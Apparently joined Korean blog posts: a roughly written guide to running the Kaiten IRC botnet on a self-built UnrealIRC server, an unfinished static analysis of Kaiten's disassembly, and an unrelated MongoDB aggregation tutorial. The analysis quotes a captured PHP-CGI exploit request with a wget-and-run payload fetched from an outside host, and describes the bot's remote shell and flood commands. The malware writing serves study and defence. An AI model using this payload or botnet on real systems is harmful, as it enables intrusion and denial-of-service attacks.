쓰게 될 내용을 생각해보니까, 분석이라기 보다는 실습보고서 정도에 그치지 않을까 싶다. 그래도 일단 남겨보자. 우선 IRC 서버부터 구축해보자.

어떤 프로그램으로 IRC 서버를 구축할까 찾아봤는데, UnrealIRC라는 프로그램이 있더라. 그래서 이 프로그램을 이용해서 IRC 서버를 구축해보기로 했다.

설치는 매우 간단하다. 설치 후, unrealircd.conf 파일을 생성하여 설정에 맞게 바꿔줘야 한다. 이 파일은 UnrealIRC/doc/example.conf 파일을 복사해서 unrealircd.conf로 바꿔서 사용하면 된다. (cp ./doc/exampleconf unrealircd.conf)

위와 같이 복사 후 unrealircd.conf 내용을 잘 읽어보면서 내용을 수정하면 된다. 영어를 잘 해석해보면 누구든지 할 수 있다. 
https://www.unrealircd.org/files/docs/unreal32docs.html

위의 사이트와 unrealircd.conf에 있는 내용을 참고해보자. 참고로 설정 시 irc.XXX.XXX 와 같이 도메인이 실제로 존재해야한다. IP로는 안 되는 것 같다.

그렇게 구축을 하면 아래 명령어를 통해 구동을 한다.

./unreal start

netstat -na | grep 포트번호 또는 ps -ef | grep ircd 명령어를 통해 제대로 동작하고 있는지를 더블체크해보자.

이 상태에서 IRC에 접속하여 체널을 생성해보자. IRC 접속은 irssi 라는 또 다른 프로그램을 설치하여 그 프로그램으로 IRC에 접속했다. 

irssi를 실행하여 아래와 같이 실행해보자.

/CONNECT <도메인명> <포트번호>

개인 중요 정보는 가려놨다. 아무튼 위와 같이 접속이 된다. 이 상태에서

/JOIN <체널명>

위와 같이 입력하여 체널을 생성한다. 단, 체널명 가장 앞에는 #을 붙여줘야한다. i.e "#ChannelName"

위와 같이 체널을 생성한다.

그리고 이전 포스팅에서 분석했던 그 프로그램을(이하 Kaiten) 실행시키면 된다. 그러면 위의 체널에 접속을 하게 될 것이다. (물론, Kaiten 프로그램 소스코드 내에서 서버 정보나 체널명 등을 제대로 수정해준 상태에서 가능한 것이다-_-)

위와 같이 새로운 사용자가 체널에 JOIN했다는 것을 알 수 있다. 이제 끝났다. 이제 Kaiten 소스코드에 있는 명령어들을 수행할 수 있다. 예를 들어 특정 IP에 대하여 PAN 명령어를 실행시켜보면

위와 같이 어마어마한 양의 패킷이 발생했다. destination이 random IP인 것은 소스 코드를 분석해보면 나온다.

이상 간단하게 분석보고서가 아닌 실습 보고서 마치려고 한다.

위와 같이 Botnet이 동작하는 것이므로 블로그 읽으시는 분들은 Botnet이 어떤식으로 동작하는지만 개념적으로 알면 될 것이라고 판단된다.

※ 악의적인 용도로 쓰일 가능성이 있으므로 최대한 rough하게 썼다.

이 악성코드는 거의 올해 3월쯤, 업무 중 우연히 wget으로 다운로드 시도하는 취약점을 확인 후 그 URL만 따로 가져와서 집에서 분석해본 것이다. 그런데 제목에서 알 수 있듯이... 미완성이다. 물론 이 악성코드의 기본적인 기능에 대해서는 거의 다 기술했으나 내가 원하는 정도의 디테일은 아니다.

미완성이여서 일부러 포스팅을 하지 않았으나, better than nothing. 없는 것 보다는 좋다고 생각하여 공유한다. 그리고 사실 얼마전에 우연한 계기로 IRC bot을 구축해보게 되었다. 몇 일 삽질 좀 하다가 어제 완성시켰고 이 악성코드를 실행시켜본 결과 실제로 botnet으로 작동을 하더라. 우와 신기하다. 

이 포스팅에서는 오로지 그 악성코드(kaiten)에 대한 static analysis를 진행해보겠다. 그리고 다음 포스팅에서는 IRC bot을 실제로 구축한 것에 대해 포스팅 하겠다. 우선은 미완성으로 둔 보고서를 아래에 적어보려한다.

=======================================================================

우선, 해당 악성코드의 감염경로부터 살펴보자. 감염 경로에 대해서는 길게 이야기하지 않을 생각이다. 이전 보고서에서 자세하게 다뤘기 때문이다. 그래도 한번 집고 넘어가보자. 공격자는 이번 악성코드를 PHP취약점을 이용해서 배포했던 것으로 추정된다. 실제로 공격에 사용된 패킷을 구글링했을 경우, 큰 기업부터 작은 사이트를 운영하는 사람들에게도 많이 탐지된 것으로 보인다. 심지어 내가 운영하는 작디 작은 홈페이지에도 해당 이벤트가 탐지되었다.

# 공격 이벤트

POST /cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1 Host: 114.255.55.119 User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 Content-Type: application/x-www-fops-urlencoded Content-Length: 84 Connection: close 

<?php system("wget http://200.156.100.119/scen -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");

우선 분석할 악성코드가 IRC bot이라는 것도 모르는 백지 상태에서 출발해보자. 우선 가상 머신에서 실행을 시켜보자. 실행할 악성코드의 이름은 xxx이다.

이상한 파일명의 프로세스가 실행되고 있음을 확인할 수 있다. 이는 xxx라는 malware를 실행시키기 전과 후에 대한 비교이다. 이게 무엇인지는 모르겠으나 우선 추가적으로 가장 기본이 되는 네트워크 상태를 한번 확인해보자.

위의 그림을 통해서 확인해보면 200.156.100.119의 80번 포트로 SYN 패킷을 보냈으나 응답이 오지 않고 있는 상태임을 알 수 있다. (시간이 지나도 ESTABLISHED 상태가 되지 않는다.) 이로 추측해보았을 때, 공격자는 무슨 이유에서인지 현재는 본인의 서버를 운영하고 있지 않거나 IP를 바꿨거나 등등의 이유가 추측된다. 마음 같아서는 저 IP를 내가 직접 설정해놓은 IRC 서버(만일 있다면)로 보내서 명령어를 수행시켜보고 싶으나 공격을 시작하는 서버가 다운되어 있는 것으로 추정되어 해당 악성코드를 공격자의 의도대로 수행시키지는 못 했다.

해당 IP에 대하여 tcpdump를 수행하면 아래와 같은 패킷을 확인할 수 있다.

위의 패킷들은 모두 SYN 패킷이다. 지금까지의 결론으로 미루어 보아, 이 프로그램이 무엇인지는 모르겠으나 아무튼 200.156.100.119라는 공격자의 서버와의 통신을 시도한다는 것은 확인할 수 있다. 적어도 지금 예상할 수 있는 것은, 현재는 inactive 하지만 예전에는 active 했을 것으로 추정되는 IP 주소와 통신을 시도했기 때문에 socket 함수를 사용했을 거라고 예상할 수 있다.

……

804af0c: e8 9f 24 00 00       call   804d3b0 <__libc_system>

804af11: c7 44 24 08 b6 01 00 movl   $0x1b6,0x8(%esp)

804af18: 00 

804af19: c7 44 24 04 42 00 00 movl   $0x42,0x4(%esp)

804af20: 00 

804af21: c7 04 24 d9 31 0b 08 movl   $0x80b31d9,(%esp)     # /dev/shm/.x

804af28: e8 e3 f8 00 00       call   805a810 <__libc_open>

804af2d: 89 45 d4             mov    %eax,-0x2c(%ebp)

804af30: c7 44 24 04 06 00 00 movl   $0x6,0x4(%esp)

804af37: 00 

804af38: 8b 45 d4             mov    -0x2c(%ebp),%eax

804af3b: 89 04 24             mov    %eax,(%esp)

804af3e: e8 2d fb 00 00       call   805aa70 <__flock>

804af43: 89 45 d8             mov    %eax,-0x28(%ebp)

804af46: 83 7d d8 00           cmpl   $0x0,-0x28(%ebp)

804af4a: 74 11                 je     804af5d <main+0x73>

804af4c: e8 9f 0c 00 00       call   804bbf0 <__errno_location>

804af51: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

__libc_open과 관련된 부분은 빨간색으로 __flock과 관련된 부분은 파란색으로 적어놨다. __libc_open 함수와 __flock 함수의 파라미터 부분도 표시해두었는데 open 함수에서 movl   $0x80b31d9,(%esp)와 flock 함수에서 mov    %eax,(%esp)부분을 제외하고는 각 파라미터가 어떠한 값을 의미하는지 정확하게 알아내지는 못 했다. 그리고 그 다음으로 알아볼 부분은 con() 함수 호출 부분이다.

……

804b27f: mov    0x80d2be8,%eax

804b284: movl   $0x0,0xc(%esp)

804b28c: movl   $0x1000,0x8(%esp)

804b294: lea    -0x19c4(%ebp),%edx

804b29a: mov    %edx,0x4(%esp)

804b29e: mov    %eax,(%esp)

804b061: call   804ac80 <con>

804b066: mov    0x80d2bec,%eax

804b2a1: call   805b840 <__libc_recv>

804b2a6: mov    %eax,-0xc(%ebp)

804b2a9: cmpl   $0x0,-0xc(%ebp)

804b2ad: jle    804b061 <main+0x177> 

804b2b3: mov    -0xc(%ebp),%eax

이 부분에서 call  805b840 부분을 자세히 봐보자. 이 부분은 con() 호출을 통해 소켓을 생성한 뒤 해당 소켓으로부터 데이터를 받을 때 사용된다. 그렇다면 con()을 통해서 소켓을 생성한다는 것을 우선 확인하고 다시 call  805b840로 돌아와보자. 

0804ac80 <con>:

804ac80: 55                   push   %ebp

804ac81: 89 e5                 mov    %esp,%ebp

.....

804acc5: movl   $0x0,0x80d0960

804accf: movl   $0x6,0x8(%esp)

804acd7: movl   $0x1,0x4(%esp)

804acdf: movl   $0x2,(%esp)

804ace6: call   805b980 <__socket>

804aceb: mov    %eax,0x80d2be8 # socket descriptor is saved

804acf0: mov    0x80d2be8,%eax

804acf5: test   %eax,%eax

804acf7: js     804accf <con+0x4f>

804acf9: mov    0x80d2d00,%eax # value of server

804acfe: mov    %eax,(%esp)

804ad01: call   805bd20 <inet_addr> # convert IP into long type

804ad06: test   %eax,%eax

804ad08: je     804ad1c <con+0x9c> # goto :con2 if no IP address is returned

…..

804ad86: movw   $0x2,-0x1c(%ebp)

804ad8c: movl   $0x50,(%esp) # decimal 80

804ad93: call   805c1c0 <htons> # convert decimal 80 into TCP/IP form

804ad98: mov    %ax,-0x1a(%ebp)

....

# %ebp-0x1c is the value of %eax, which may contain the value of sockaddr structure

804ade9: mov    %eax,0x4(%esp)

804aded: mov    %edx,(%esp) # parm1 : socket descriptor

804adf0: call   805b7c0 <__connect_internal>

804adf5: test   %eax,%eax

......

:PRIVMSG9

804a63e: movl   $0x3,0x8(%esp)

804a646: movl   $0x80b3079,0x4(%esp) # "SH"

804a64e: mov    -0x18(%ebp),%eax

804a651: mov    %eax,(%esp)

804a654: call   80591e0 <strncmp> # strncmp( , "SH")

804a659: test   %eax,%eax

804a65b: jne    804a75e <_PRIVMSG+0x2d8> # goto :PRIVMSG_SH

804a661: mov    0xc(%ebp),%eax

804a664: mov    %eax,(%esp)

804a667: call   804838d <mfork>

804a66c: test   %eax,%eax

804a66e: jne    804a932 <_PRIVMSG+0x4ac> # goto :PRIVMSG4

804a674: movl   $0x400,0x8(%esp) # 1024

804a67c: movl   $0x0,0x4(%esp)

804a684: lea    -0x850(%ebp),%eax

804a68a: mov    %eax,(%esp)

804a68d: call   8059840 <memset>

804a692: mov    -0x18(%ebp),%eax

804a695: add    $0x3,%eax

804a698: mov    %eax,0x8(%esp)

#"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s"

804a69c: movl   $0x80b3080,0x4(%esp)

804a6a4: lea    -0x850(%ebp),%eax

804a6aa: mov    %eax,(%esp)

# sprintf returns the number of byte of result and save result in buffer

804a6ad: call   804d6f0 <_IO_sprintf>

804a6b2: movl   $0x80b234e,0x4(%esp) # "r"

804a6ba: lea    -0x850(%ebp),%eax

804a6c0: mov    %eax,(%esp) # result from _IO_sprintf is passed to _IO_new_popen

804a6c3: call   804e1e0 <_IO_new_popen> # shell command is executed. 

804a6c8: mov    %eax,-0xc(%ebp)

804a6cb: jmp    804a738 <_PRIVMSG+0x2b2> # goto :PRIVMSG11

_PRIVMSG 함수에서 수행할 수 있는 명령은 아래의 세가지였다.

804a5e3: c7 44 24 04 70 30 0b movl   $0x80b3070,0x4(%esp) # "IRC"

804a646: c7 44 24 04 79 30 0b movl   $0x80b3079,0x4(%esp) # "SH"

804a8f4: ff d1                 call   *%ecx

이 중에서 마지막 function pointer 관련된 부분을 보자.

이 부분은 위에서 설명했던 function pointer를 이용한 함수 호출과 같은 원리다. 여기서 어떤 함수가 호출될지는 모른다. 그렇지만 flooders라는 structure object의 이름으로 보아 DDoS 공격을 수행하는 함수를 호출하지 않을까 싶다. (분석보고서 답지 않게 추측의 성향이 너무 강하다고 생각되나 공격자IP(200.156.100.119)로의 연결도 불가능한 상태이고 오로지 assembly code만 보고 분석한 결과라 추측할 수 밖에 없다고 생각한다.) ELF header 부분에서 수행 가능한 함수를 모두 봤을 때 이 부분에서 수행된다고 추정되는 함수는 아래와 같다.

1471: 08049b83   905 FUNC    GLOBAL DEFAULT    3 tsunami

1347: 080494c8   686 FUNC    GLOBAL DEFAULT    3 udp

=======================================================================

위 부분을 마지막으로 분석을 접었었다. 어떠한 툴도 사용하지 않고 100% TEXT로 된 Assembly Code로만 분석을 하려다보니까 한계를 조금 많이 느꼈었다. 참조하는 메모리 영역의 값을 알수 없다는 것이 가장 컸다. 위 부분에 대한 추가적인 분석은 아직 하지 않았다. 하지만 IRC 서버 구축을 통해 조금이나마 더 자세한 분석을 혹은 가이드를 해보려고 한다.

다음 포스팅에서 계속 하겠다.

이번 포스팅에서는 MongoDB의 aggregation에 대해 설명해보도록 하겠다. 물론 이 부분도 앞에서 설명했었던 CRUD처럼 각각의 모든 함수의 사용법을 열거하지 않을 것이다. 그럴 필요도 없다고 생각하고(왜냐면 MongoDB Reference 그 이상을 하기 힘들 것 같으므로), 그래서도 안 된다. 각자 공부하는 습관을 들여야 하고 스스로 학습하는 연습을 해야한다.

먼저 aggregation이 무엇인지부터 설명해보자. 보통 aggregation이라고 하면 종합, 집합.. 이 정도의 뜻으로 해석할 수 있다. 무슨 말인가... 즉, 데이터를 가지고 종합적으로 계산된 결과물을 내겠다는 것이다. 합계를 구하는 sum(), 평균을 구하는 avg() 등등이 모두 일종의 aggregation이다. 조금 더 MongoDB의 개념에 입각해서 말해보면, documents들의 value들을 기반으로 어떠한.. 계산된 결과물 등을 만들어 내는 과정이라고 보면 된다.

보통 MongoDB에서 aggregation은 다음의 세 가지 방법을 통해 가능하다.

1. Aggregation Pipeline

2. Mapreduce

3. Single aggregation operation

먼저 Aggregation pipeline부터 설명해보자. 우선, pipeline이 무엇인가? Linux 명령어에 익숙한 사람들은 이 개념이 어렵지 않을 것이다. 한 작업에 대한 output이 다음 작업에 대한 Input으로 넘어가도록 하기위한 것이다. 우리에게 조금 더 친숙한 linux 명령어를 보자.

bash> history 100 | grep mongo

위의 명령어는 history 100과 grep mongo로 이루어져있는데, 앞의 명령어를 수행하면 최근에 수행한 100개의 명령어가 output으로 나올 것이며 그것에 대해서 grep mongo를 한다. 즉, history 100의 output에서 mongo라는 문자열을 찾는 명령어가 된다.

MongoDB에서의 aggregation pipeline도 마찬가지다. 가령, 아래의 명령어를 보자.

3번, 4번 라인에 있는 명령어가 무엇을 의미하는지는 아직은 생각하지 말자. 지금은 그저, 3번 라인의 output이 4번 라인의 input으로 넘어가고, 4번 라인이 수행되어 나오는 output이 (다음 명령어는 없으므로) return 되는 것이다.

간단하게 위의 명령어를 조금 설명해보면, 아래와 같다. 

3번라인 : orders collection에서 status가 A인 것만 고른다. 

4번라인 : 3번라인의 결과물에 대하여 cust_id 값으로 분류한 후, 각 cust_id의 price를 합한다.

4번의 결과물을 cursor형태로 return한다.(cursor가 무엇인지는 앞의 MongoDB CRUD에 대한 포스팅에서 잘 설명해놨다.)

이와 같이 $match, $group과 같은 operation을 우리는 aggregation pipeline operator라고 하고 $match, $group 이 외의 pipeline operator는 아래와 같이 있다.

Name              Description

$group            Groups input documents by a specified identifier expression and applies the accumulator expression(s), if specified, to each group. Consumes all input documents and outputs one document per each distinct group. The output documents only contain the identifier field and, if specified, accumulated fields.

$limit               Passes the first n documents unmodified to the pipeline where n is the specified limit. For each input document, outputs either one document (for the first n documents) or zero documents (after the first n documents).

$match            Filters the document stream to allow only matching documents to pass unmodified into the next pipeline stage. $match uses standard MongoDB queries. For each input document, outputs either one document (a match) or zero documents (no match).

$out                Writes the resulting documents of the aggregation pipeline to a collection. To use the $out stage, it must be the last stage in the pipeline.

$skip               Skips the first n documents where n is the specified skip number and passes the remaining documents unmodified to the pipeline. For each input document, outputs either zero documents (for the first n documents) or one document (if after the first n documents).

$sort               Reorders the document stream by a specified sort key. Only the order changes; the documents remain unmodified. For each input document, outputs one document.

$redact            Reshapes each document in the stream by restricting the content for each document based on information stored in the documents themselves. Incorporates the functionality of $project and $match. Can be used to implement field level redaction. For each input document, outputs either one or zero document.

$geoNear         Returns an ordered stream of documents based on the proximity to a geospatial point. Incorporates the functionality of $match, $sort, and $limit for geospatial data. The output documents include an additional distance field and can include a location identifier field.

$project           Reshapes each document in the stream, such as by adding new fields or removing existing fields. For each input document, outputs one document.

$unwind           Deconstructs an array field from the input documents to output a document for each element. Each output document replaces the array with an element value. For each input document, outputs n documents where n is the number of array elements and can be zero for an empty array.

위의 내용은 MongoDB Manual을 그대로 복사한 내용이다. 다시 한번 말하지만, 위의 사용법을 일일이 설명하지는 않겠다. 각자 공부하는 습관을 들여보자.

MongoDB Aggregation에 이어 Mapreduce를 공부해보자. 우선 Mapreduce라는 개념부터 알아야 한다. mapreduce는 일반적으로 mapper function과 reducer function이 있다. 우선 mapper function과 reducer function을 아래의 예를 통해서 이해해보자.

아래의 그림은 가장 왼쪽에 있는 dataset을 status로 분류하여 각각의 합을 구하는 작업을 mapreduce를 통해 해봤을 경우를 표현한다.

위의 그림을 보면, mapper function에 의해서 각각 A, B, C status로 묶이는 것을 알 수 있다. 이와 같이 특정 값으로 분류하는 과정을 mapper function이 한다. mapper function에 의해 status A는 100과 400이 모여있고, B는 200과 500, C는 300만 있다. 이 상태에서 reducer function을 통해 각 status의 합을 구한다. 

100 + 400 = 500

200 + 500 = 700

300 = 300

위의 데이터에 대해서 mapreduce를 실제로 수행해보자.

python을 통해 실행 시 위와 같은 결과를 얻을 수 있다.

mapreduce에 대한 설명이 위로는 부족하다면 아래의 비디오를 보자.

https://www.youtube.com/watch?v=bcjSe0xCHbE

https://www.youtube.com/watch?v=qPATE6BBIQs

영어로 된 비디오지만, 충분히 시각적으로 이해가 가능하다.

참고로, MongoDB에서 mapreduce의 performance는 다른 NoSQL에서의 mapreduce보다 조금 느리다고 하니 참고하길 바란다.

Single aggregation operation에는 크게 세가지 함수가 있다고 보면 된다.(MongoDB Manual에 세가지 소개되어있다.)

count(), distinct(), group이다.

count()와 distinct는 직관적으로 이해가 되듯, 각각 세는 함수와 고유의 값을 return하는 함수이다. 아래의 예를 보자.

count()의 결과값은 단순 integer형이고 distinct의 결과값은 하나의 배열이 return된다.

Single aggregation operation에서 group함수는 조금 쓰임이 복잡하다. 그래도 mapreduce를 이해한 사람이라면 쉽게 이해 가능하다.

count를 이용한 status:"A"를 셌던 결과와 같은 결과값을 가질 수 있다. 

이 정도면 어느 정도 MongoDB의 aggregation 관련하여 개념적인 설명은 다했다고 생각한다.다음 포스팅에서는 몇몇 실 예제를 통하여 다시 한번 개념을 되세겨 보도록 하자.

Reference :

http://docs.mongodb.org/manual/reference/operator/aggregation/